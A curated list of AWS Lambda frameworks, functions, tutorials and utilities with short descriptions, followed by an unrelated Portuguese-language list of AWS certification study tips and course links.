Rumbda does everything necessary to build a zip file for running ruby inside of an AWS Lambda. This includes downloading [traveling ruby](https://github.com/phusion/traveling-ruby), creating a bundle of the project's Gemfile dependencies, and creating a consumable .zip file for use with Lambda.
### [Scar](https://github.com/grycap/scar)
SCAR is a framework to transparently execute containers out of Docker images in AWS Lambda, in order to run applications and code in virtually any programming language (see examples for Ruby, R, Erlang and Elixir) on AWS Lambda.
### [Serverless](https://www.serverless.com)
Build web, mobile and IoT applications with serverless architectures using AWS Lambda, Azure Functions, Google CloudFunctions & more! Here is a list of [Serverless Examples](https://github.com/serverless/examples).
### [Serverless Golang](https://github.com/yunspace/serverless-golang)
AWS Lambda Go functions using Serverless Framework and a Python shim.
### [Sparta](http://gosparta.io/)
A Go framework for transforming a Go application into an AWS Lambda powered microservice. Supports multiple event sources, compile-time IAM policies, and automatic packaging and marshaling to CloudFormation.
### [Up](https://github.com/apex/up)
Up focuses on deploying "vanilla" HTTP servers so there's nothing new to learn, just develop with your favorite existing frameworks such as Express, Koa, Django, Golang net/http or others.
Up currently supports Node.js, Golang, Python, Java, Crystal, and static sites out of the box. Up is platform-agnostic, supporting AWS Lambda and API Gateway as the first targets. You can think of Up as self-hosted Heroku style user experience for a fraction of the price, with the security, flexibility, and scalability of AWS.
### [Webda](https://github.com/loopingz/webda)
A serverless Javascript Development Framework with AWS Lambda and Docker deployment options.
### [Zappa](https://github.com/Miserlou/Zappa)
Zappa makes it super easy to build and deploy server-less, event-driven Python applications (including, but not limited to, WSGI web apps) on AWS Lambda + API Gateway.
## Functions & Applications
This section is for both single functions and applications composed of multiple interconnected AWS lambda functions.
* [auto-tag](https://github.com/GorillaStack/auto-tag) - An open-source tagging solution for AWS. Deploy auto tag to Lambda and set up CloudTrail and have each of your resources tagged with the resource who created it.
* [aws-faas-form](https://github.com/benkehoe/faas-form) - A command line tool invoking self-describing Lambda functions to help developers and administrators provide interfaces to Lambdas that are designed to be invoked directly by users. This allows Lambda functions to replace client-side scripts for interactions with resources running on AWS.
* [aws-key-disabler](https://github.com/te-papa/aws-key-disabler) - Lambda Function that disables AWS IAM User Access Keys after a set amount of time in order to reduce the risk associated with old access keys.
* [aws-lambda-blog-platform](https://github.com/sirceljm/aws-lambda-blog) - A complete blogging solution that uses the following Amazon Web Services for operation - API Gateway, Lambda, DynamoDB, S3, Cloudfront, SES.
* [aws-maintenance-lambda (indix)](https://github.com/indix/aws-maintenance-lambda) - Send alerts (to Slack, HipChat) on AWS maintenance events.
* [aws-maintenance-lambda (traveloka)](https://github.com/traveloka/aws-maintenance-lambda) - Trigger Jira Issue Creation from AWS Health Events.
* [aws-monitor](https://github.com/zulily/aws_monitor) - Run periodically as an AWS Lambda, will detect your instances, add CloudWatch alerting for each, and create CloudWatch dashboards based on your preferences.
* [aws-ses-to-elasticsearch](https://github.com/ScheduleOnce/aws-ses-to-elasticsearch) - SES is capable of sending reports about email delivery (deliveries, bounces, rejects) to SNS. However, there's no built in way to pipe these reports into something like Elastic Search. This Lambda function bridges the gap and allows to send the reports to ES.
* [aws-sns-to-ses-mailer](https://github.com/dwp/aws-sns-to-ses-mailer) - AWS Lambda application to send emails via AWS SES using information recieved from AWS SNS notifications.
* [AWSInventoryLambda](https://github.com/powerupcloud/AWSInventoryLambda) - Save AWS inventory as CSV on S3 and trigger emails.
* [ballerina-lambda](https://github.com/chrishantha/ballerina-lambda) - Run a [Ballerina](https://ballerinalang.org/) service as a Lambda.
* [binaryalert](https://github.com/airbnb/binaryalert) - Serverless, Real-time & Retroactive Malware Detection.
* [BucketSnake](https://github.com/Netflix-Skunkworks/bucketsnake) - Provisions S3 access for IAM roles. A primary feature of Bucket Snake is to crete IAM roles that reside in the account where the S3 buckets live to facilitate proper cross-account S3 bucket access (via a role assumption).
* [chalice-transmogrify](https://github.com/uncompiled/chalice-transmogrify) - Python Microservice that transforms arbitrary XML/RSS to JSON.
* [chaos-lambda](https://github.com/shoreditch-ops/chaos-lambda) - A Serverless implementation of Netflix's [Chaos Monkey](https://github.com/Netflix/SimianArmy/wiki/Chaos-Monkey) for AWS (runs on AWS Lambda).
* [chef-node-cleanup](https://github.com/awslabs/lambda-chef-node-cleanup) - Automatically Delete Terminated Instances in Chef Server with AWS Lambda when triggered by CloudWatch instance termination events.
* [chromeless](https://github.com/graphcool/chromeless) - Chrome automation made simple. Runs locally or headless on AWS Lambda. See [https://chromeless.netlify.com](https://chromeless.netlify.com) for more details.
* [cloud-custodian](https://github.com/capitalone/cloud-custodian) - Cloud Custodian can be used to manage AWS accounts by ensuring real time compliance to security policies (like encryption and access requirements), tag policies, and cost management via garbage collection of unused resources and off-hours resource management.
* [cloudwatch-alarm-to-slack](https://github.com/hfreire/cloudwatch-alarm-to-slack) - Uses AWS SNS to send AWS CloudWatch alarms an AWS Lambda code that then pushes them to Slack.
* [cloudwatch-logs-customize-alarms](https://github.com/awslabs/cloudwatch-logs-customize-alarms) - Helps customize alarms from Amazon CloudWatch to fit your specific needs
* [cloudwatch-logs-shipper-logzio-lambda](https://github.com/logzio/cloudwatch-logs-shipper-lambda) - Ships Cloudwatch Logs to [logz.io](logz.io).
* [codepipeline-monorepo-webhook](https://github.com/m1nde/codepipeline-monorepo-webhook) - A webhook handler that triggers AWS CodePipelines for mono repos, implemented as a serverless AWS Lambda function.
* [cwlogs2sns](https://github.com/jakubknejzlik/cwlogs2sns) - AWS CloudWatch to SNS handler for AWS Lambda.
* [ddns-function](https://github.com/awslabs/aws-lambda-ddns-function) - Dynamically create Route 53 resource records using CloudWatch Events and AWS Lambda.
* [ebs_snapper](https://github.com/rackerlabs/ebs_snapper) - Allows you to schedule regular EBS snapshots and clean up EBS snapshots on EC2, as well as replicate snapshots to a secondary EC2 region.
* [ecs-host-service-scale](https://github.com/miketheman/ecs-host-service-scale) - Lambda function to ensure an ECS Service is set to the correct Desired Count for a One-Task-Per-Host placement value for any cluster that runs the Service.
* [felix](https://github.com/Cimpress-MCP/felix) - Automate the rotation of IAM keys used by third-party services. Felix is aimed at making it easy to manage IAM keys in third-party services like SumoLogic and GitLab. It aims to be easily extensible by both built-in providers and external plugins.
* [flywheel](https://github.com/fairfaxmedia/flywheel) - Flywheel is a HTTP proxy which starts and stops EC2 instances sitting behind it. Flywheel will automatically stop its instances when no requests have been received for a period of time.
* [git2params](https://github.com/getsocial-rnd/git2params) - Lambda based tool for syncing configuration from Git repositories to AWS SSM Parameter Store.
* [github-s3-deploy](https://github.com/nytlabs/github-s3-deploy) - AWS Lambda function, triggered by Github/SNS webhook, to sync new commits in an S3 bucket.
* [honeyλ](https://github.com/0x4D31/honeyLambda) - A simple, serverless application designed to create and monitor fake HTTP endpoints (i.e. URL honeytokens) automatically, on top of AWS Lambda and Amazon API Gateway.
* [houdini](https://github.com/citruspi/houdini) - Houdini runs on AWS Lambda and executes commands on remote hosts over SSH using [Paramiko](http://www.paramiko.org/). The host address, username, command, and private key name are provided by the consumer in the Lambda event, the command is executed, and the contents of stdin, stdout, and stderr are returned. The actual content of the private key used for establishing the SSH connection is encrypted with an [AWS KMS](https://aws.amazon.com/kms/) key and stored in [AWS SSM Parameter Store](https://aws.amazon.com/systems-manager/features/#Parameter_Store).
* [https-to-amqps](https://github.com/mikhaelsantos/aws-lambda-https-to-amqps) - Forwards amps messages from API Gateway to RabbitMQ.
* [hugo-lambda](https://github.com/ryansb/hugo-lambda) - Use AWS Lambda to run the Hugo static site generator.
* [imprenta](https://github.com/alfredo/imprenta) - Generates PDF files from HTML using jinja, pdfkit and wkhtmltopdf.
* [invokust](https://github.com/FutureSharks/invokust) - A tool for running [Locust](http://locust.io/) load tests from within Python without the need to use the locust command line to allow running load tests in python or on AWS Lambda.
* [json-server-less-λ](https://github.com/pharindoko/json-server-less-lambda) - Easily deploy [json-server](https://github.com/typicode/json-server) in the AWS cloud as a lambda.
* [lambda-comments](https://github.com/jimpick/lambda-comments) - Blog commenting system built with AWS Lambda, API Gateway, S3, DynamoDB streams, IAM and CloudWatch Logs.
* [lambda-keystore](https://github.com/subdavis/lambda-keystore) - Simple key-value store with TTL for AWS Lambda using DynamoDB.
* [lambda-packs](https://github.com/ryfeus/lambda-packs) - Precompiled packages for Lambda.
* [lambda-test-runner](https://github.com/automatictester/lambda-test-runner) - Run your unit tests with Maven or SBT directly on AWS Lambda.
* [lambda-warmer](https://github.com/jeremydaly/lambda-warmer) - Follows the AWS best practices for keeping your lambdas warm so you don't encounter cold-boot delays.
* [lambdaproxy](https://github.com/dan-v/awslambdaproxy) - Lambda powered HTTP/SOCKS web proxy.
* [LambdAuth](https://github.com/danilop/LambdAuth) - Sample authentication service implemented with a server-less architecture, using AWS Lambda to host and execute the code and Amazon DynamoDB as persistent storage. This provides a cost-efficient solution that is scalable and highly available and can be used with Amazon Cognito for Developer Authenticated Identities.
* [LambStatus](https://github.com/ks888/LambStatus) - Serverless Status Page System [lambstatus.github.io](https://lambstatus.github.io/). Eases pain caused by scaling / availability issues. It is terrible if your service is down AND heavy traffic from stuck users stops your status page.
* [letsencrypt](https://github.com/ubergeek42/lambda-letsencrypt) - Use [AWS Lambda](https://aws.amazon.com/lambda/) to manage SSL certificates for any site that uses [Amazon's CloudFront CDN](https://aws.amazon.com/cloudfront/).
* [MoonMail](https://github.com/microapps/MoonMail) - Sends email marketing campaigns with [Amazon SES](https://moonmail.io/amazon-ses-email-marketing/).
* [node-letsencrypt-lambda](https://github.com/ocelotconsulting/node-letsencrypt-lambda) - Use AWS Lambda to manage SSL certificates for Lets-Encrypt.
* [perf-cop](https://github.com/Quartz/perf-cop) - Profiles your site with PWMetrics and publishes the results as CloudWatch metrics.
* [pr-notify-bot](https://github.com/kentaro-m/lambda-pr-notify-bot) - Sends Slack reminders to CR reviewers to review their pull requests on AWS.
* [pricing-tools](https://github.com/concurrencylabs/aws-pricing-tools) - A Lambda function that calculates near real-time price of an account's infrastructure including EC2, ELB, EBS, RDS, Lambda, Dynamo DB and Kinesis resources.
* [rds_snapshot_copier](https://github.com/myoung34/DevOps/tree/master/aws/lambda/rds_snapshot_copier) - Copies automatic RDS snapshots so that they're safe from terraform.
* [reaper-lambda](https://github.com/gabinante/reaper-lambda) - Reaps any and all instances which are not tagged with an expiration date.
* [redshift-loader](https://github.com/awslabs/aws-lambda-redshift-loader) - An Amazon Redshift Database Loader implemented in AWS Lambda.
* [redshift_snapshot_copier](https://github.com/myoung34/DevOps/tree/master/aws/lambda/redshift_snapshot_copier) - Copies automatic redshift snapshots so that they're safe from terraform.
* [send-email](https://github.com/0x4447/0x4447-Toolbox-AWS-Lambda-Send-Email) - Send email using SES.
* [send-ses-email](https://github.com/eleven41/aws-lambda-send-ses-email) - Send emails using Amazon SES. The primary purpose of this function is to provide a server-side back-end for sending emails from static websites.
* [serverless-ami-replicator](https://github.com/miztiik/serverless-ami-replicator) - Replicate AMIs across AWS Regions.
* [serverless-backup](https://github.com/miztiik/serverless-backup) - A simple AWS Boto3 script to trigger EBS Snapshots using Lambda Functions.
* [serverless-ephemeral](https://github.com/Accenture/serverless-ephemeral) - Serverless Ephemeral (or Serephem) is a [Serverless Framework](https://serverless.com/framework/docs/providers/aws/guide/plugins/) plugin that helps bundle any stateless library into a Lambda deployment artifact.
* [serverless-es-logs](https://github.com/daniel-cottone/serverless-es-logs) - Serverless plugin to transport logs to ElasticSearch.
* [serverless-plugin-healthcheck](https://github.com/Financial-Times/serverless-plugin-healthcheck) - Creates one schedule event lambda that invokes all the service lambdas you select in a configured time interval (default: 5 minutes) or a specific time, forcing your containers to report their status. In adition, it creates a new endpoint (named __health by default) which can be called to provide a json summary of the current status of each healthcheck.
* [serverless-plugin-stackstorm](https://github.com/StackStorm/serverless-plugin-stackstorm) - Plugin for serverless framework to run ready to use actions from [StackStorm Exchange](https://exchange.stackstorm.org) as AWS Lambda functions.
* [serverless-s3-processing](https://github.com/btsuhako/serverless-s3-processing) - Uses the [Serverless](https://serverless.com/) Framework and AWS Lambda to process objects and events from S3.
* [serverless-secrets](https://github.com/marksteele/serverless-secrets) - Sample serverless AWS Lambda application that leverages the AWS SSM parameter store for managing secrets.
* [serverless-southwest-check-in](https://github.com/DavidWittman/serverless-southwest-check-in) - Powered by the AWS Serverless Platform (Lambda, Step Functions, and SES), Serverless Southwest Check In is an email bot which will automatically check you into your Southwest flights. Never sit in a middle seat again!
* [serverless-url-shortener](https://github.com/danielireson/serverless-url-shortener) - URL shortener for AWS Lambda and S3.
* [SES Email Forwarder](https://github.com/arithmetric/aws-lambda-ses-forwarder) - Node.js script for AWS Lambda that uses the inbound/outbound capabilities of AWS Simple Email Service (SES) to run a "serverless" email forwarding service. Instead of setting up an email server on an EC2 instance to handle email redirects, use SES to receive email, and the included Lambda script to process it and send it on to the chosen destination.
* [ses-forwarder](https://github.com/Technofy/ses-forwarder) - A Python 2.7 Email forwarder script for AWS Lambda, which uses the AWS SES and S3 services.
* [shell-execute](https://github.com/ken107/aws-lambda-shell-execute) - Executes a shell command and returns the output. Additional executable binaries can be deployed with and used by the function.
* [Shelvery](https://github.com/base2Services/shelvery) - Shelvery is a tool for creating backups in Amazon cloud (AWS). It currently supports RDS and EBS backups, and AMI support is scheduled to be released soon.
* [sns2slack](https://github.com/jakubknejzlik/sns2slack) - AWS SNS to slack notifications handler for AWS Lambda.
* [splunk-aws-serverless-apps](https://github.com/splunk/splunk-aws-serverless-apps) - Splunk AWS Serverless applications and [Lambda blueprints](https://www.splunk.com/blog/2016/11/29/announcing-new-aws-lambda-blueprints-for-splunk.html), including associated CloudFormation templates (using [SAM](https://github.com/awslabs/serverless-application-model)) for automated packaging & deployment.
* [ssh-ec2-lambda](https://github.com/gpoudel/ssh-ec2-lambda) - An AWS lambda function to start, ssh and stop an ec2 instance with python.
* [stash](https://github.com/arithmetric/lambda-stash) - Lambda script to ship data from S3 to other data stores, like Elasticsearch. Out of the box it supports AWS Cloudfront access logs, AWS Cloudtrail API logs, AWS CloudWatch logs, AWS Config change logs, and can be extended with custom handlers.
* [StreamAlert](https://github.com/airbnb/streamalert) - StreamAlert is a serverless, realtime data analysis framework which empowers you to ingest, analyze, and alert on data from any environment, using datasources and alerting logic you define.
* [sumologic-aws-lambda-unzip](https://github.com/frankreno/sumologic-aws-lambda-unzip) - Java Lambda function that can uncompress a zip file, read the files inside and send them to Sumo Logic.
* [terraform-aws-lambda](https://github.com/telia-oss/terraform-aws-lambda) - Lambda module for [Terraform](https://registry.terraform.io/modules/telia-oss/lambda/aws/0.4.0).
* [url-shortener](https://github.com/guihaojin/url-shortener) - URL Shortener service built with serverless framework on AWS, API Gateway + Lambda + DynamoDB.
* [watchtower](https://github.com/wmnnd/lambda-watchtower) - Serverless HTTP(S) Endpoint Monitoring With AWS Lambda & CloudWatch.
## Other Resources
### Miscellaneous
* [awesome-layers](https://github.com/mthenw/awesome-layers) - A curated list of awesome [AWS Lambda Layers](https://aws.amazon.com/about-aws/whats-new/2018/11/aws-lambda-now-supports-custom-runtimes-and-layers/)
* [aws-lambda-cheatsheet](https://github.com/srcecde/aws-lambda-cheatsheet) - A cheatsheet for AWS Lambda (focuses on Python)
* [Reverse Engineering AWS Lambda](https://www.denialof.services/lambda/) - This is a great article spelunking through the details of how lambdas actually work under the covers.
### Tutorials
* [AWS IOT Button Example](https://github.com/mongoose-os-apps/aws-iot-button) - This is an Internet Button reference project: when a button on the device is pressed, a cloud backend gets a notification and performs an action. In this particular case, AWS Lambda function sends an email to the specific email address.
* [aws-lambda-vpc-nat-examples](https://github.com/ittus/aws-lambda-vpc-nat-examples) - Example of setting up AWS lambda function with VPC and NAT.
* [Creating A Highly Scalable Website Monitoring Service in half an hour using AWS Lambda](https://hackernoon.com/creating-a-website-monitoring-service-in-half-an-hour-using-lambdas-4f64fb199df3?__s=utowzfvzgmud62nwkf2p) - Article by Elliot Forbes describing building a Website uptime monitor that will allow people to fill in a form and automagically create a new lambda function that will check the health of the site every 15 minutes and send an email should one of these sites die.
* [Creating a Scalable Website Analysis Tool using Lambda and API Gateway and S3](https://hackernoon.com/creating-a-scalable-website-analysis-tool-using-lambda-and-api-gateway-and-s3-66df47506371) - Another article by Elliot Forbes, this time showing how to leverage AWS Lambda, the API Gateway and S3 to do website analysis.
* [How to Use Python 3 Type Hints in AWS Lambda](https://gist.github.com/alexcasalboni/a545b68ee164b165a74a20a5fee9d133) - Static Type Checkers help you find simple (but subtle) bugs in your Python code. Check out lambda_types.py and incrementally improve your code base and development/debugging experience with type hints.
* [I’m afraid you’re thinking about AWS Lambda cold starts all wrong](https://hackernoon.com/im-afraid-you-re-thinking-about-aws-lambda-cold-starts-all-wrong-7d907f278a4f) - Good description of how AWS Lambda Cold Starts will affect your serverless app performance and some ways to mitigate them.
* [Lambda Tutorial: Lambda + Serverless = HAPPY](https://www.youtube.com/watch?v=71cd5XerKss)
* [Learn AWS Lambda](https://github.com/dwyl/learn-aws-lambda) - Tutorial that walks you through learning how to use AWS Lambda.
* [Learning Lambda](https://blog.symphonia.io/learning-lambda-1f25af64161c) - Mike Roberts' series on learning to use Lambda
* [Monitor multiple MySQL RDS with single Lambda function](https://blog.powerupcloud.com/monitor-multiple-mysql-rds-with-single-lambda-function-638729751121) - Tutorial on monitoring multiple RDS databases with a single Lambda function.
* [Nightmare-lambda-tutorial](https://github.com/dimkir/nightmare-lambda-tutorial) - A sample project and tutorial to show how to run NightmareJS on AWS Lambda.
* [Serverless Starter](https://github.com/orangejellyfish/serverless-starter) - An opinionated starter kit by [orangejellyfish](https://www.orangejellyfish.com/) for [Serverless framework](https://serverless.com/framework/) apps running in [AWS](https://aws.amazon.com/). Built to be future-proof. Inspired by and adapted from the excellent [serverless-babel-starter](https://github.com/postlight/serverless-babel-starter) project by [Postlight](https://github.com/postlight).
### Utilities
* [alphorn](https://github.com/grudelsud/alphorn) - Alphorn is a simple Python package to handle Lambda invocations routed by the AWS API Gateway with a `{proxy+}` configuration.
* [amazon-rust](https://github.com/VICEMedia/amazon-rust) - A thin [Rust](https://www.rust-lang.org/) layer on top of the official [Amazon Linux](https://hub.docker.com/_/amazonlinux/) docker image. Suitable for both local development and continuous deployment/integration workflows. Perfect for pre-building building binaries that target various [AWS](https://aws.amazon.com) services.
* [api-gateway-sim](https://github.com/elitechance/api-gateway-sim) - API Gateway simulator for Node JS Lambda that allows you to test your Lambda function locally.
* [authorizer-basic-auth](https://github.com/dougalb/lambda-authorizer-basic-auth) - Serverless Application that creates Lambda function to use as an authorizer in Amazon API Gateway for HTTP Basic Auth and a DynamoDB table for users.
* [aws-lambda-container-image-converter](https://github.com/awslabs/aws-lambda-container-image-converter) - repackages container images (such as Docker images) into AWS Lambda layers, and publishes them as new layer versions.
* [aws-lambda-dotnet](https://github.com/aws/aws-lambda-dotnet) - Libraries, samples and tools to help .NET Core developers develop AWS Lambda functions.
* [aws-lambda-local](https://github.com/Max-Kolodezniy/aws-lambda-local) - Run javascript AWS Lambda functions locally.
* [aws-lambda-runner](https://github.com/kevinsimard/aws-lambda-runner) - An AWS Lambda Java simulator that allows running and debugging Lambda functions authored in Java locally.
* [aws-limit-monitor](https://github.com/awslabs/aws-limit-monitor) - Customizable Lambda functions to proactively notify you when you are about to hit an AWS service limit. Requires Enterprise or Business level support to access Support API.
* [aws-sam-cli](https://github.com/awslabs/aws-sam-cli) - `sam` is the AWS CLI tool for managing Serverless applications written with [AWS Serverless Application Model (SAM)](https://github.com/awslabs/serverless-application-model). SAM Local can be used to test functions locally, start a local API Gateway from a SAM template, validate a SAM template, generate sample payloads for various event sources, and generate a SAM project in your favorite Lambda Runtime.
* [claudia](https://github.com/claudiajs/claudia) - Claudia makes it easy to deploy Node.js projects to AWS Lambda and API Gateway. It automates all the error-prone deployment and configuration tasks, and sets everything up the way JavaScript developers expect out of the box. This means that you can get started with Lambda and API Gateway easily, and focus on solving important business problems instead of dealing with AWS deployment workflows.
* [cljs-lambda](https://github.com/nervous-systems/cljs-lambda) - Utilities around deploying Clojurescript functions to AWS Lambda.
* [cookiecutter](https://github.com/browniebroke/cookiecutter-lambda-function) - A cookiecutter template to create AWS Lambda functions in Python.
* [dd-aws-lambda-functions](https://github.com/DataDog/dd-aws-lambda-functions) - Repository of lambda functions that process aws log streams and send data to datadog
* [deploy-notebook](https://github.com/RodionChachura/deploy-notebook) - Quickly deploy code you've written in a jupyter notebook as a lambda, as described in [Deploy Jupyter Notebook to AWS Lambda](https://medium.com/@geekrodion/deploy-jupyter-notebook-to-aws-lambda-a57e87c53f37)
* [django-docker-zappa-boilerplate](https://github.com/alexazevedo/django-docker-zappa-boilerplate) - Template for settting up serverless Django with Zappa, Docker, MySQL and Nginx for local development and remote deployment to AWS Lambda / API Gateway.
* [docker-lambda-python36-rust](https://github.com/ElementAI/docker-lambda-python36-rust) - Docker image that builds Rust applications serverless for AWS Lambda.
* [docker-lambda](https://github.com/lambci/docker-lambda) - Docker images and test runners that replicate the live AWS Lambda environment.
* [domovoi](https://github.com/kislyuk/domovoi) - Domovoi is an extension to [AWS Chalice](https://github.com/awslabs/chalice) to handle [AWS Lambda](https://aws.amazon.com/lambda/) event sources other than HTTP requests through an API Gateway. Domovoi lets you easily configure and deploy a Lambda function to serve HTTP requests through an [ALB](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/lambda-functions.html), on a schedule, or in response to a variety of events like an [SNS](https://aws.amazon.com/sns/) or [SQS](https://aws.amazon.com/sqs/) message, S3 event, or custom AWS [step function](https://aws.amazon.com/step-functions/) transitions.
* [formplug-serverless](https://github.com/danielireson/formplug-serverless) - A form forwarding service for AWS Lambda that you can use to accept form submissions by email without server-side code.
* [goad](https://github.com/goadapp/goad) - An AWS Lambda powered, highly distributed, load testing tool built in Go.
* [http-lambda](https://github.com/nextmetaphor/http-lambda) - A simple golang-based utility which enables AWS Lambda functions to be invoked from an HTTP endpoint. Use if you want to expose Lambda functions over HTTP without using the AWS API Gateway.
* [iopipe-python](https://github.com/iopipe/iopipe-python) - This package provides analytics and distributed tracing for event-driven applications running on AWS Lambda.
* [iopipe](https://github.com/iopipe/iopipe) - AWS Lambda metrics, tracing, & analytics for NodeJS. See [www.iopipe.com](https://www.iopipe.com/) for details.
* [iron-io/lambda](https://github.com/iron-io/lambda) - A set of tools, tests and libraries to convert Amazon AWS Lambda functions into Docker images that can run on any computer or cloud provider.
* [jiffy-route-builder](https://github.com/jiffycloud/jiffy-route-builder) - A tiny module (<5KB) to create lightweight API handlers using Node.js with AWS Lambda and API Gateway. Uses another tiny (<2KB) library called [route-recognizer](https://github.com/tildeio/route-recognizer) to match URLs against routing patterns, and forwards requests to handler functions. Written in TypeScript so you have type information available - especially useful to figure out what's available in the request that API Gateway sends to your handler.
* [juniper](https://github.com/eabglobal/juniper) - Juniper is a packaging tool with a with a single purpose in mind: streamline and standardize the creation of a zip artifact for a set of Python AWS Lambda functions.
* [lambda-deployer](https://github.com/mdevilliers/lambda-deployer) - Automate the deployment of AWS Lambda functions easily from either a developers machine or CI system.
* [lambda-git](https://github.com/pimterry/lambda-git) - A git binary installed through NPM, for use with AWS Lambda.
* [lambda-packager](https://github.com/lorenzoh/lambda-packager) - Uses the amazonlinux Docker image to build Python packages for AWS Lambda.
* [lambda-packages](https://github.com/Miserlou/lambda-packages) - Various popular python libraries, pre-compiled to be compatible with AWS Lambda. The best way to use these packages is with [Zappa](https://github.com/Miserlou/Zappa), which will automatically install the right packages during deployment, and do a million other useful things [https://blog.zappa.io](https://blog.zappa.io).
* [lambda-tdd](https://github.com/simlu/lambda-tdd) - A testing framework for AWS Lambda functions. Useful for integration testing as you can examine how your lambda function executes for certain input and specific environment variables. Tries to model the cloud execution as closely as possible
* [lambda-tester](https://github.com/vandium-io/lambda-tester) - Helper for unit testing AWS Lambda functions using Node.js
* [lambda_utils](https://github.com/CloudHeads/lambda_utils) - Python helper decorator for handling different AWS Event types for AWS Lambda.
* [lambdacore](https://github.com/milancermak/lambdacore) - AWS Lambda Layer of various core functions for Python Lambda functions.
* [LambdaGuard](https://github.com/Skyscanner/LambdaGuard) - An AWS Lambda auditing tool designed to create asset visibility and provide actionable results. It provides a meaningful overview in terms of statistical analysis, AWS service dependencies and configuration checks from the security perspective.
* [lambdaSH](https://github.com/alestic/lambdash) - Run shell commands inside AWS Lambda environment
* [lambdaskill](https://github.com/michaeluhl/lambdaskill) - A simple Python 3 toolkit to build Alexa Skills using AWS Lambda.
* [lambdaWrap](https://github.com/Cimpress-MCP/LambdaWrap) - Ruby gem to simplify deployment of AWS Lambda based web services.
* [lambdify](https://github.com/Prefinem/lambdify) - Lambdify is a set of tools to make it much easier to build and consume AWS Lambda functions.
* [lightsail-backup](https://github.com/vidanov/lambda-nodejs-lightsail-backup) - Automate backups of AWS Lightsail instances.
* [mangum](https://github.com/erm/mangum) - Mangum is a library for using [ASGI](https://asgi.readthedocs.io/en/latest/) applications with FaaS platforms.
* [python-aws-dataclasses](https://github.com/hypoport/python-aws-dataclasses) - Provides data-classes for AWS lambda events and other AWS data. The dataclasses are type-annotated, as to allow for full IDE (code completion / IntelliSense) support.
* [python-vendor](https://github.com/joshringer/python-vendor) - Provides an AWS service API for building compiled Python packages, ready for use in your own AWS Lambda functions.
* [ScaLambda](https://github.com/robhinds/ScaLambda) - Provides a more idiomatic scala approach to defining AWS Lambda functions. It uses [Circe](https://circe.github.io/circe/)'s auto derived JSON encoder/decoders for handling the serialisation and deserialisation of input and output messages. It also provides exception handling and aims to remove all boilerplate from your lambda code.
* [shadowreader](https://github.com/edmunds/shadowreader) - ShadowReader has the ability to replay production traffic to a destination of your choice by collecting traffic patterns from access logs. It is built on AWS Lambda, S3 and Elastic Load Balancers.
* [simple-lambda-router](https://github.com/brunomorency/simple-lambda-router) - A small router utility for lambda functions handling HTTP events from multiple resources and methods.
* [spector](https://github.com/Caidac-3301/spector) - Open source alternative to monitor, debug and improve your Lambda Functions. Spector will make use of AWS APIs to fetch data from your AWS account and produce actionable metrics and detailed data without the need of editing any code!
* [Tiger-Lambda](https://github.com/Cimpress-MCP/Tiger-Lambda) - Tiger.Lambda is a .NET library for simplifying the configuration and development of AWS Lambda Functions written in C#. It provides a common host allowing for configuration and dependency injection nearly identical to that of ASP.NET Core.
* [webhook-lambda](https://github.com/jeshan/webhook-lambda) - Easily create a webhook on AWS. Use it to launch a CodePipeline pipeline or customise the serverless function as you see fit.
* [webpack-aws-lambda-upload-plugin](https://github.com/sirceljm/webpack-aws-lambda-upload-plugin) - Zip and upload your AWS Lambda function directly from webpack.
|
**[DISCLAIMER]** Links e materiais disponibilizados como conteúdo adicional para os estudos nos treinamentos da AWS. As informações aqui inseridas são mantidas por mim mesmo, e não expressam nenhuma informação oficial por parte da AWS; mesmo que em sua maioria sejam artigos e _blog posts_ oficiais da **Amazon Web Services**.
### Dicas de estudo para as certificações
- [X] Escolha sua [carreira de certificações](https://aws.amazon.com/certification/) e organize o seu [roteiro de aprendizado](https://aws.amazon.com/training/learning-paths/)
- [X] Revise o arquivo [_Exam Guide_](https://aws.amazon.com/certification/certification-prep/) do respectivo exame de certificação
- [X] Defina uma estratégia eficiente de estudos. Há algumas técnicas bem interessantes como o [_Retrieval_](https://aws.amazon.com/blogs/training-and-certification/using-retrieval-practice-techniques-to-improve-learning/), [_Spaced_](https://aws.amazon.com/blogs/training-and-certification/use-spaced-practice-to-increase-learning-retention/) e o [_Elaboration_](https://aws.amazon.com/blogs/training-and-certification/cognitive-science-post-3-using-elaboration-to-reinforce-your-understanding-of-concepts/)
- [X] Faça um treinamento oficial, presencial ou remoto, ministrado pela AWS. Veja mais em [aws.training](https://www.aws.training/)
- [X] Caso vá fazer o treinamento oficial, já prepare seu ambiente para materiais e labs no [Class Prep](https://classprep.awstc.com/)
- [X] Organize um roteiro sequencial de estudos, usando os [_Ramp-Up Guides_](https://aws.amazon.com/training/ramp-up-guides/)
- [X] Faça laboratórios e ganhe experiência prática, com os [Tutoriais de Hands-On](https://aws.amazon.com/getting-started/hands-on/)
- [X] Revise o arquivo de **_Sample Questions_** do respectivo exame de certificação
- [X] Revise os _whitepapers_ e **FAQs** dos serviços que estão no escopo do exame de certificação
- [X] Assista os vídeos da série [_"This is My Architecture"_](https://aws.amazon.com/this-is-my-architecture/), com exemplos de casos reais dos clientes AWS
- [X] Faça um treinamento oficial da AWS com foco na preparação do exame; através dos cursos **_Exam Readiness_**
- [X] Acompanhe [nossos eventos e webinars da comunidade AWS em LATAM](https://aws.amazon.com/pt/training/events), pois sempre há conteúdo de referência para ajudar nos estudos
- [X] Faça um [**_Practice Exam_**](https://explore.skillbuilder.aws/learn/course/internal/view/elearning/9153/aws-certification-official-practice-question-sets-english) oficial (simulado)
- [X] Agende seu [exame de certificação](https://www.aws.training/Certification) na **Person Vue**
- [X] Adicione [30 minutos a mais](https://www.linkedin.com/pulse/30-minute-extension-your-aws-certification-exam-garcia-lozano/) em seu exame com o **_ESL +30 MINUTES_** (disponível para não-nativos de língua inglesa)
- [X] Seja um certificado AWS!
- [X] Aproveite os [benefícios](https://aws.amazon.com/certification/benefits/) concedidos só a quem tem certificações AWS
---
| Table of Content |
| ------------- |
| [Architecting on AWS](https://github.com/brunokktro/auladobruno#architecting-on-aws) |
| [Advanced Architecting on AWS](https://github.com/brunokktro/auladobruno#advanced-architecting-on-aws) |
| [Migrating to AWS](https://github.com/brunokktro/auladobruno#migrating-to-aws) |
| [Cloud Financial Management for Builders](https://github.com/brunokktro/auladobruno#cloud-financial-management-for-builders) |
| [Planning and Designing Databases on AWS](https://github.com/brunokktro/auladobruno#planning-and-designing-databases-on-aws) |
| [Systems Operations on AWS](https://github.com/brunokktro/auladobruno#systems-operations-on-aws) |
| [DevOps Engineering on AWS](https://github.com/brunokktro/auladobruno#devops-engineering-on-aws) |
